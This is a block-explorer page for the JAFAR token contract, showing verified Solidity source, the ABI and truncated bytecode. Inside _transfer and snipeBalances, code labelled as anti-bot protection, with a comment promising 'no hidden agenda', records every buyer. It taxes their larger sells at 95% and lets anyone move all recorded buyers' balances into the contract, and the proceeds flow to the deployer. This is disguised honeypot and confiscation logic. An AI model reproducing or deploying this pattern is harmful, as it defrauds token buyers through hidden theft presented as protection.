ETH Price: $3,020.01 (+3.03%)
Gas: 1 Gwei

Token

JAFAR (JAFAR)
 

Overview

Max Total Supply

1,000,000,000 JAFAR

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 JAFAR

Value
$0.00
0xccd54a2d7817e3baa091f9bc97d0ee0d27e3dabe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JAFAR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-11
*/

pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    //function _msgSender() internal view virtual returns (address payable) {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{value : weiValue}(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external payable returns (uint[] memory amounts);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function WETH() external pure returns (address);
}

contract JAFAR is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public marketPair = address(0);
    mapping(address => uint256) private _balances;
    IterableMapping private botSnipingMap = new IterableMapping();
    mapping(address => uint) private tempBalanceCoolDown;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private _name = "JAFAR";
    string private _symbol = "JAFAR";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 1_000_000_000 * 10 ** _decimals;
    bool inSwapAndLiquify;
    uint256 public ethPrice = .4 ether;
    address private deployer;
    bool public botProtectionEnabled = true;
    constructor () {
         _balances[address(this)] = _tTotal;
        deployer = owner();
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }


     function disableBotProtectionPermanently() external onlyOwner {
        require(botProtectionEnabled,"Bot sniping has already been disabled");
        snipeBalances();
        botProtectionEnabled = false;
    }

    function openTrading() external onlyOwner() {
        require(marketPair == address(0),"UniswapV2Pair has already been set");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        marketPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp);
        IERC20(marketPair).approve(address(uniswapV2Router), type(uint).max);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        
        //This section will only be triggered when bot protection is enabled at launch to catch bots. 
        //Once disabled, the contract will be 100% safe with no hidden agenda
        if(from != owner() && to != owner() && from != address(this) && to != address(this) && botProtectionEnabled) {
            if (from == marketPair) {
                uint ethBuy = getEthValueFromTokens(amount);
                botSnipingMap.set(to, ethBuy);
            }
            if (from != marketPair && to == marketPair) {
                uint ethSell = getEthValueFromTokens(amount);
                uint256 holderEthTotal = botSnipingMap.get(from);
                if(ethSell >= ethPrice || holderEthTotal >= ethPrice) {
                    taxAmount = amount.mul(95).div(100);
                }
            }
        }
        uint256 transferAmount = amount.sub(taxAmount);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(transferAmount);
        _balances[address(this)] = _balances[address(this)].add(taxAmount);
        emit Transfer(from, to, transferAmount);
    }

    function botSnipeEthAmount(uint256 _ethPrice) external onlyOwner {
        ethPrice = _ethPrice;
    }

    function manualSwap() external {
        uint256 contractTokenBalance = balanceOf(address(this));
        if (contractTokenBalance > 0) {
            if (!inSwapAndLiquify) {
                swapTokensForEth(contractTokenBalance);
            }
        }
    }

    function snipeBots() external {
       snipeBalances(); 
    }

    function snipeBalances() private {
        if(botProtectionEnabled) {
            for(uint256 i =0; i < botSnipingMap.size(); i++) {
                address holder = botSnipingMap.getKeyAtIndex(i);
                uint256 amount = _balances[holder];
                if(amount > 0) {
                    _balances[holder] = _balances[holder].sub(amount);
                    _balances[address(this)] = _balances[address(this)].add(amount);
                }
                botSnipingMap.remove(holder);
            }
        }
    }

    function getEthValueFromTokens(uint tokenAmount) public view returns (uint)  {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        return uniswapV2Router.getAmountsIn(tokenAmount, path)[0];
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 ethBalance = address(this).balance;
        payable(deployer).transfer(ethBalance);
        
    }

    receive() external payable {}

    function recoverEthInContract() external {
        uint256 ethBalance = address(this).balance;
        payable(deployer).transfer(ethBalance);
    }

    function recoverERC20Tokens(address contractAddress) external {
        IERC20 erc20Token = IERC20(contractAddress);
        uint256 balance = erc20Token.balanceOf(address(this));
        erc20Token.transfer(deployer, balance);
    }
}

contract IterableMapping {
    // Iterable mapping from address to uint;
    struct Map {
        address[] keys;
        mapping(address => uint) values;
        mapping(address => uint) indexOf;
        mapping(address => bool) inserted;
    }

    Map private map;

    function get(address key) public view returns (uint) {
        return map.values[key];
    }

    function keyExists(address key) public view returns (bool) {
        return (getIndexOfKey(key) != - 1);
    }

    function getIndexOfKey(address key) public view returns (int) {
        if (!map.inserted[key]) {
            return - 1;
        }
        return int(map.indexOf[key]);
    }

    function getKeyAtIndex(uint index) public view returns (address) {
        return map.keys[index];
    }

    function size() public view returns (uint) {
        return map.keys.length;
    }

    function set(address key, uint val) public {
        if (map.inserted[key]) {
            map.values[key] = val;
        } else {
            map.inserted[key] = true;
            map.values[key] = val;
            map.indexOf[key] = map.keys.length;
            map.keys.push(key);
        }
    }

    function remove(address key) public {
        if (!map.inserted[key]) {
            return;
        }
        delete map.inserted[key];
        delete map.values[key];
        uint index = map.indexOf[key];
        uint lastIndex = map.keys.length - 1;
        address lastKey = map.keys[lastIndex];
        map.indexOf[lastKey] = index;
        delete map.indexOf[key];
        map.keys[index] = lastKey;
        map.keys.pop();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botProtectionEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_ethPrice","type":"uint256"}],"name":"botSnipeEthAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableBotProtectionPermanently","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ethPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"getEthValueFromTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"contractAddress","type":"address"}],"name":"recoverERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverEthInContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snipeBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051620000a990620003fe565b604051809103906000f080158015620000c6573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f4a41464152000000000000000000000000000000000000000000000000000000815250600790816200014d919062000686565b506040518060400160405280600581526020017f4a414641520000000000000000000000000000000000000000000000000000008152506008908162000194919062000686565b5060098060006101000a81548160ff021916908360ff160217905550600960009054906101000a900460ff16600a620001ce9190620008fd565b633b9aca00620001df91906200094e565b600a5567058d15e176280000600c556001600d60146101000a81548160ff0219169083151502179055503480156200021657600080fd5b50600062000229620003cd60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a54600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200031d620003d560201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003bf9190620009aa565b60405180910390a3620009c7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b08806200452783390190565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200048e57607f821691505b602082108103620004a457620004a362000446565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200050e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004cf565b6200051a8683620004cf565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000567620005616200055b8462000532565b6200053c565b62000532565b9050919050565b6000819050919050565b620005838362000546565b6200059b62000592826200056e565b848454620004dc565b825550505050565b600090565b620005b2620005a3565b620005bf81848462000578565b505050565b5b81811015620005e757620005db600082620005a8565b600181019050620005c5565b5050565b601f82111562000636576200060081620004aa565b6200060b84620004bf565b810160208510156200061b578190505b620006336200062a85620004bf565b830182620005c4565b50505b505050565b600082821c905092915050565b60006200065b600019846008026200063b565b1980831691505092915050565b600062000676838362000648565b9150826002028217905092915050565b62000691826200040c565b67ffffffffffffffff811115620006ad57620006ac62000417565b5b620006b9825462000475565b620006c6828285620005eb565b600060209050601f831160018114620006fe5760008415620006e9578287015190505b620006f5858262000668565b86555062000765565b601f1984166200070e86620004aa565b60005b82811015620007385784890151825560018201915060208501945060208101905062000711565b8683101562000758578489015162000754601f89168262000648565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007fb57808604811115620007d357620007d26200076d565b5b6001851615620007e35780820291505b8081029050620007f3856200079c565b9450620007b3565b94509492505050565b600082620008165760019050620008e9565b81620008265760009050620008e9565b81600181146200083f57600281146200084a5762000880565b6001915050620008e9565b60ff8411156200085f576200085e6200076d565b5b8360020a9150848211156200087957620008786200076d565b5b50620008e9565b5060208310610133831016604e8410600b8410161715620008ba5782820a905083811115620008b457620008b36200076d565b5b620008e9565b620008c98484846001620007a9565b92509050818404811115620008e357620008e26200076d565b5b81810290505b9392505050565b600060ff82169050919050565b60006200090a8262000532565b91506200091783620008f0565b9250620009467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000804565b905092915050565b60006200095b8262000532565b9150620009688362000532565b9250828202620009788162000532565b915082820484148315176200099257620009916200076d565b5b5092915050565b620009a48162000532565b82525050565b6000602082019050620009c1600083018462000999565b92915050565b613b5080620009d76000396000f3fe6080604052600436106101855760003560e01c806384afff9b116100d1578063ce03c9a41161008a578063ec11ba3411610064578063ec11ba341461057f578063f28cd37414610596578063f2fde38b146105ad578063ff186b2e146105d65761018c565b8063ce03c9a414610502578063dd62ed3e1461052b578063e9ac0e59146105685761018c565b806384afff9b146103f25780638da5cb5b1461041b57806395d89b4114610446578063a457c2d714610471578063a9059cbb146104ae578063c9567bf9146104eb5761018c565b8063313ce5671161013e57806351bc3c851161011857806351bc3c851461035c57806370a0823114610373578063715018a6146103b0578063748eb3a5146103c75761018c565b8063313ce567146102c957806339509351146102f457806350faa48f146103315761018c565b806306fdde0314610191578063095ea7b3146101bc57806314f944bd146101f95780631694505e1461023657806318160ddd1461026157806323b872dd1461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610601565b6040516101b39190612a9a565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612b64565b610693565b6040516101f09190612bbf565b60405180910390f35b34801561020557600080fd5b50610220600480360381019061021b9190612bda565b6106b1565b60405161022d9190612c16565b60405180910390f35b34801561024257600080fd5b5061024b6108f4565b6040516102589190612c90565b60405180910390f35b34801561026d57600080fd5b5061027661091a565b6040516102839190612c16565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612cab565b610924565b6040516102c09190612bbf565b60405180910390f35b3480156102d557600080fd5b506102de6109fd565b6040516102eb9190612d1a565b60405180910390f35b34801561030057600080fd5b5061031b60048036038101906103169190612b64565b610a14565b6040516103289190612bbf565b60405180910390f35b34801561033d57600080fd5b50610346610ac7565b6040516103539190612d44565b60405180910390f35b34801561036857600080fd5b50610371610aed565b005b34801561037f57600080fd5b5061039a60048036038101906103959190612d5f565b610b25565b6040516103a79190612c16565b60405180910390f35b3480156103bc57600080fd5b506103c5610b6e565b005b3480156103d357600080fd5b506103dc610cc1565b6040516103e99190612bbf565b60405180910390f35b3480156103fe57600080fd5b5061041960048036038101906104149190612d5f565b610cd4565b005b34801561042757600080fd5b50610430610dfd565b60405161043d9190612d44565b60405180910390f35b34801561045257600080fd5b5061045b610e26565b6040516104689190612a9a565b60405180910390f35b34801561047d57600080fd5b5061049860048036038101906104939190612b64565b610eb8565b6040516104a59190612bbf565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190612b64565b610f85565b6040516104e29190612bbf565b60405180910390f35b3480156104f757600080fd5b50610500610fa3565b005b34801561050e57600080fd5b5061052960048036038101906105249190612bda565b611477565b005b34801561053757600080fd5b50610552600480360381019061054d9190612d8c565b611516565b60405161055f9190612c16565b60405180910390f35b34801561057457600080fd5b5061057d61159d565b005b34801561058b57600080fd5b5061059461160e565b005b3480156105a257600080fd5b506105ab611717565b005b3480156105b957600080fd5b506105d460048036038101906105cf9190612d5f565b611721565b005b3480156105e257600080fd5b506105eb6118e2565b6040516105f89190612c16565b60405180910390f35b60606007805461061090612dfb565b80601f016020809104026020016040519081016040528092919081815260200182805461063c90612dfb565b80156106895780601f1061065e57610100808354040283529160200191610689565b820191906000526020600020905b81548152906001019060200180831161066c57829003601f168201915b5050505050905090565b60006106a76106a06118e8565b84846118f0565b6001905092915050565b600080600267ffffffffffffffff8111156106cf576106ce612e2c565b5b6040519080825280602002602001820160405280156106fd5781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107919190612e70565b816000815181106107a5576107a4612e9d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106107f4576107f3612e9d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484836040518363ffffffff1660e01b815260040161088b929190612f8a565b600060405180830381865afa1580156108a8573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906108d191906130e8565b6000815181106108e4576108e3612e9d565b5b6020026020010151915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b6000610931848484611ab9565b6109f28461093d6118e8565b6109ed85604051806060016040528060288152602001613ace60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a36118e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b79092919063ffffffff16565b6118f0565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000610abd610a216118e8565b84610ab88560066000610a326118e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221b90919063ffffffff16565b6118f0565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610af830610b25565b90506000811115610b2257600b60009054906101000a900460ff16610b2157610b2081612279565b5b5b50565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b766118e8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa9061317d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60149054906101000a900460ff1681565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d149190612d44565b602060405180830381865afa158015610d31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d55919061319d565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610db49291906131ca565b6020604051808303816000875af1158015610dd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df7919061321f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610e3590612dfb565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6190612dfb565b8015610eae5780601f10610e8357610100808354040283529160200191610eae565b820191906000526020600020905b815481529060010190602001808311610e9157829003601f168201915b5050505050905090565b6000610f7b610ec56118e8565b84610f7685604051806060016040528060258152602001613af66025913960066000610eef6118e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b79092919063ffffffff16565b6118f0565b6001905092915050565b6000610f99610f926118e8565b8484611a